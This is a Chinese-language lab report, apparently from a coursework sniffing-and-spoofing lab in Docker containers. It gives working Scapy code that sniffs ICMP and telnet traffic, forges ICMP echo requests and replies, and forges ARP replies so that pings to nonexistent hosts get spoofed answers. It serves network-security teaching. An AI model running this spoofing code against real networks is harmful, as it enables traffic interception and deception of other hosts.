新文章
数据包嗅探和伪造实验
容器配置
搭建好所有容器,并连接到各个容器中。

任务 1.1 嗅探包
使用 Scapy 嗅探数据包
查询网络接口,为 br-6f19184d334c

编写代码进行嗅探
#!/usr/bin/env python3
from scapy.all import *
def print_pkt(pkt):
pkt.show()
# 在 br-6f19184d334c 接口上捕获 ICMP 包
pkt = sniff(iface='br-6f19184d334c', filter='icmp', prn=print_pkt)
1.1 A
-
使用 root 权限启动程序,并在 Host-A 上
ping Host-B捕获到 icmp 包,如图 Host-A
Attacker

-
不使用 root 权限启动时,会报错
PermissionError: [Errno 1] Operation not permitted权限不足。 原因是:_socket.socket.__init__(self, family, type, proto, fileno)尝试调用 socket() 时,Linux 系统要求调用者有CAP_NET_RAW权限 或者 root用户权限,而当前用户不具有这些权限。
1.1 B
设置以下过滤器并再次演示嗅探程序:
- 只捕获 ICMP 包
pkt = sniff(iface='br-6f19184d334c', filter='icmp', prn=print_pkt)同1.1 A,捕获到 ICMP 包
- 捕获来自某个特定 IP 地址并且目标端口号为 23 的 TCP 包
pkt = sniff(iface='br-6f19184d334c', filter='tcp and src host 10.9.0.5 and dst port 23', prn=print_pkt)在 Host-A 上执行telnet 10.9.0.6 23,向 Host-B 的 23 端口发送 TCP 包,程序成功捕获到 TCP 包
- 捕获来自或去往某个特定网络的包。可以选择任意网络,例如128.230.0.0/16,但不应选择与你的虚拟机连接的同一子网
pkt = sniff(iface='br-6f19184d334c', filter='net 10.203.0.0/16', prn=print_pkt)在 Host-A 上执行ping 10.203.14.25,向10.203.0.0/16子网发送 ICMP 包,程序成功捕获到dst = 10.203.14.25的包
任务 1.2 伪造 ICMP 包
编写代码,伪造一个 ICMP echo 请求包,其中源 IP 为10.9.0.5,目标 IP 为 10.9.0.6
#!/usr/bin/env python3
from scapy.all import *
ip = IP()
ip.src = "10.9.0.5" # 源IP Host-A
ip.dst = "10.9.0.6" # 目标IP Host-B
icmp = ICMP()
p = ip/icmp
send(p)
使用 wireshark 捕获 ICMP echo 相应包

运行程序,发现 Host-B 10.9.0.6 向 Host-A 回复了一个 ICMP echo 响应包,表明上述程序成功伪造了一个 ICMP echo 请求包。
任务 1.3 实现 Traceroute
查询 AI 发现 scapy 中存在函数 sr1() 可以发送并接受一个对应的相应包,得到的 reply 中 type 为 0 表示 echo 响应包, 11 表示 ICMP 超时。
#!/usr/bin/env python3
from scapy.all import *
# ttl 从 1 开始递增
for ttl in range(1,100):
# 设置IP包,目标地址为 10.203.14.25
ip = IP()
ip.dst = "10.203.14.25"
ip.ttl = ttl
icmp = ICMP()
p = ip/icmp
# 发送并接受一个响应包
reply = sr1(p, timeout=1, verbose=False)
if reply.type == 0:
# ICMP Echo响应,到达目标
print(f"ttl = {ttl}, rep = {reply.src}")
print("到达目标")
break
elif reply.type == 11:
# ICMP超时,进入下一循环
print(f"ttl = {ttl}, rep = {reply.src}")
else:
print("出错")
执行代码,得到结果:虚拟机到目标 10.203.14.25 的距离为 3

任务 1.4 嗅探和伪造结合
对于 sniff 得到的包 pkt,通过 pkt[IP] 和 pkt[ICMP] 访问对应的部分。
如下代码每接受到一个 ICMP 包,就执行一次 fake_rep ,如果该包是 ICMP echo 请求,则伪造一个响应包
#!/usr/bin/env python3
from scapy.all import *
def fake_rep(pkt):
if pkt[ICMP].type == 8:
ip = IP()
# 伪造目标地址和源地址
ip.dst = pkt[IP].src
ip.src = pkt[IP].dst
# 伪造 ICMP echo响应,保持 id 和 seq 不变
icmp = ICMP()
icmp.type = 0
icmp.id=pkt[ICMP].id
icmp.seq=pkt[ICMP].seq
rep = ip/icmp
send(rep)
print("已伪造响应")
else:
print("跳过非请求")
# 在 br-6f19184d334c 接口上捕获 ICMP 包
pkt = sniff(iface='br-6f19184d334c', filter='icmp', prn=fake_rep)
执行程序,发现在容器上 ping 一个地址时,回复显示包被截断 (truncated)
通过查看 wireshark,区分伪造包和正常的响应包,发现缺少了 ICMP 的 时间戳 和 Data 部分
伪造:
通过询问AI,增加代码,将剩余的数据部分补充上
if pkt.haslayer(Raw):
rep = ip/icmp/pkt[Raw].load
else:
rep = ip/icmp
再次执行程序,并在容器中 ping 8.8.8.8,可以看到每个seq都有两个对应的回复,分别是伪造包和服务器返回的相应包,由于伪造包不需要经过路由器,它能够更快的发送到容器中,而服务器的响应被当成了冗余响应(DUP!)。
现象表明程序能够成功伪造网络上存在的地址的相应。

接着尝试 ping 1.2.3.4 和 10.9.0.99,发现 ping 1.2.3.4 能够伪造出响应,而 ping 10.9.0.99 不能伪造出响应,甚至无法收到 ICMP 包

通过 ip route get 查询路由,发现 ping 1.2.3.4 时,先经过网关 10.9.0.1,此时容器会先用 ARP 查询 10.9.0.1 的 MAC 地址,能够正常得到 MAC 地址,然后发送 ICMP echo 请求包,此时程序能够正常接收并伪造响应,而网关后续的查询是找不到结果的,不会返回响应。
而 ping 10.9.0.99 时,由于处于同一子网,容器直接向 10.9.0.99 发送 ARP 查询请求,由于这是个不存在的地址,无法产生 ARP 相应,容器也就无法得到对应的 MAC 地址,因此就不会发送 ICMP echo 请求,程序就无法完成嗅探和伪造。

使用 AI 工具,完成了 ARP 请求的伪造,向容器发送一个虚假的 MAC 地址,这里使用的是网络端口对应的 MAC 地址。
iface = "br-6f19184d334c"
# 处理所有ARP请求
if pkt.haslayer(ARP) and pkt[ARP].op == 1:
# 构造ARP响应
arp_reply = ARP(
op=2,
hwsrc=get_if_hwaddr(iface),
psrc=pkt[ARP].pdst, # 响应被询问的IP
hwdst=pkt[ARP].hwsrc,
pdst=pkt[ARP].psrc
)
# 伪造 MAC 地址
ether = Ether(src=get_if_hwaddr(iface), dst=pkt[Ether].src)
# 向指定端口发送响应,以确保以太网层伪造的 MAC 地址被容器正确获取
sendp(ether/arp_reply, iface=iface)
print(f"伪造ARP响应")
最终测试,能够伪造 ping 10.9.0.99 的响应包。
伪造程序输出如下
对于之前的地址也能正常伪造 ICMP echo 响应包。

最终代码如下:
#!/usr/bin/env python3
from scapy.all import *
iface = "br-6f19184d334c"
def fake_rep(pkt):
# 处理所有ARP请求
if pkt.haslayer(ARP) and pkt[ARP].op == 1:
# 构造ARP响应
arp_reply = ARP(
op=2,
hwsrc=get_if_hwaddr(iface),
psrc=pkt[ARP].pdst, # 响应被询问的IP
hwdst=pkt[ARP].hwsrc,
pdst=pkt[ARP].psrc
)
ether = Ether(src=get_if_hwaddr(iface), dst=pkt[Ether].src)
sendp(ether/arp_reply, iface=iface)
print(f"伪造ARP相应")
elif pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
ip = IP()
# 伪造目标地址和源地址
ip.dst = pkt[IP].src
ip.src = pkt[IP].dst
# 伪造 ICMP echo响应,保持 id 和 seq 不变
icmp = ICMP()
icmp.type = 0
icmp.id=pkt[ICMP].id
icmp.seq=pkt[ICMP].seq
# 补充其余数据
if pkt.haslayer(Raw):
rep = ip/icmp/pkt[Raw].load
else:
rep = ip/icmp
send(rep)
print("已伪造ICMP响应")
else:
print("跳过非请求")
# 在 br-6f19184d334c 接口上捕获 ICMP 包
pkt = sniff(iface=iface, filter='icmp or arp', prn=fake_rep)